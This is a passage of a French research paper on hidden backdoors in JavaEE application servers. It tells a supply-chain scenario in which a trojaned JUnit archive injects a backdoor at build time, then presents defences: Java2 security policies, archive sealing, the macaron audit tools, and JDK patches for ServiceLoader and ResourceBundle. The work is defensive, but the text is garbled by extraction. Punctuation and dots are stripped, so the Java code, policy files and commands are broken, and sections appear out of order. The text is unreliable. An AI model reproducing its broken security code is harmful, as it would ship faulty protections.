Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

